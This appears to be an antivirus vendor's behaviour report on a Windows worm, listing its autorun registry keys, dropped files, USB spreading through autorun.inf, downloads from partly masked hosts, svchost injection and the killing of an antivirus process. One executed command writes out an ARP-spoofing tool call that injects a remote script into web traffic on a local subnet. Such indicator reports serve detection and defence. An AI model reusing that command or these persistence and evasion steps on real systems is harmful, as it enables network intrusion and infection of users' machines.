Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Active Setup\Installed Components\{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}] 'stubpath' = ''
Creates or modifies the following files:
- %WINDIR%\Tasks\ВМ»Ї.bat
- %WINDIR%\Tasks\hackshen.vbs
- %WINDIR%\Tasks\csrss.exe
Creates the following files on removable media:
- <Drive name for removable media>:\recycle.{645FF040-5081-101B-9F08-00AA002F954E}\GHOSTBAK.exe
- <Drive name for removable media>:\autorun.inf
Malicious functions:
Creates and executes the following:
- %TEMP%\CsKf9fp0OJ.pif
- %TEMP%\FjSmwA5NCz.pif
- %TEMP%\wJ02WA0rHx.pif
- %TEMP%\z68EjUcevn.pif
- %TEMP%\JFvYSpiAWp.pif
- %TEMP%\Zr7uF4iwX7.pif
- %TEMP%\gizBgZqioH.pif
- %TEMP%\SenispTWQV.pif
- %TEMP%\WBZTjK5Jah.pif
- %TEMP%\sTorAfNEoI.pif
- %TEMP%\maDImAozg2.pif
- <SYSTEM32>\arps.com -idx 0 -ip 10.0.0.2-10.0.0.255 -port 80 -insert "<script language="javascript" src="http://ok#0.cn/wowchina.js"></script>"
- <SYSTEM32>\wincap.exe
- %WINDIR%\Tasks\csrss.exe
- <SYSTEM32>\wincap.exe (downloaded from the Internet)
- %TEMP%\SenispTWQV.pif (downloaded from the Internet)
- %TEMP%\Zr7uF4iwX7.pif (downloaded from the Internet)
- %TEMP%\gizBgZqioH.pif (downloaded from the Internet)
- %TEMP%\WBZTjK5Jah.pif (downloaded from the Internet)
- %TEMP%\z68EjUcevn.pif (downloaded from the Internet)
- %TEMP%\sTorAfNEoI.pif (downloaded from the Internet)
- <SYSTEM32>\arps.com (downloaded from the Internet)
- %TEMP%\wJ02WA0rHx.pif (downloaded from the Internet)
- %TEMP%\maDImAozg2.pif (downloaded from the Internet)
- %TEMP%\JFvYSpiAWp.pif (downloaded from the Internet)
- %TEMP%\CsKf9fp0OJ.pif (downloaded from the Internet)
- %TEMP%\FjSmwA5NCz.pif (downloaded from the Internet)
Executes the following:
- <SYSTEM32>\ipconfig.exe
- <SYSTEM32>\cmd.exe /c c:\killme.bat
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
Terminates or attempts to terminate
the following user processes:
- 360tray.exe
Modifies file system :
Creates the following files:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\7[1].exe
- %TEMP%\JFvYSpiAWp.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\8[1].exe
- %TEMP%\CsKf9fp0OJ.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\6[1].exe
- %TEMP%\FjSmwA5NCz.pif
- %TEMP%\SenispTWQV.pif
- %TEMP%\Zr7uF4iwX7.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\chajian[1].exe
- %TEMP%\gizBgZqioH.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\9[1].exe
- %TEMP%\WBZTjK5Jah.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\10[1].exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\5[1].exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\3[1].exe
- %TEMP%\maDImAozg2.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\arp[1].exe
- C:\killme.bat
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\wincap[1].exe
- <SYSTEM32>\wincap.exe
- <SYSTEM32>\arps.com
- %TEMP%\wJ02WA0rHx.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\4[1].exe
- %TEMP%\z68EjUcevn.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\1[1].exe
- %TEMP%\sTorAfNEoI.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\2[1].exe
Sets the 'hidden' attribute to the following files:
- <Drive name for removable media>:\autorun.inf
Deletes itself.
Network activity:
Connects to:
- '<Private IP address>':80
- 'ok#0.cn':80
- '9u##9.cn':80
- 'localhost':1035
- '<Private IP address>':445
- '<Private IP address>':139
TCP:
HTTP GET requests:
- ok#0.cn/soft/7.exe
- ok#0.cn/soft/6.exe
- ok#0.cn/soft1/tj/ct.asp?ma####################
- ok#0.cn/soft/8.exe
- 9u##9.cn/wm/chajian.exe
- ok#0.cn/soft/10.exe
- ok#0.cn/soft/9.exe
- ok#0.cn/soft1/arp.exe
- ok#0.cn/soft/3.exe
- ok#0.cn/soft1/wincap.exe
- ok#0.cn/soft/1.exe
- ok#0.cn/soft/5.exe
- ok#0.cn/soft/4.exe
- ok#0.cn/soft/2.exe
UDP:
- DNS ASK 9u##9.cn
- DNS ASK ok#0.cn
Miscellaneous:
Searches for the following windows:
- ClassName: 'AfxControlBar42s' WindowName: ''
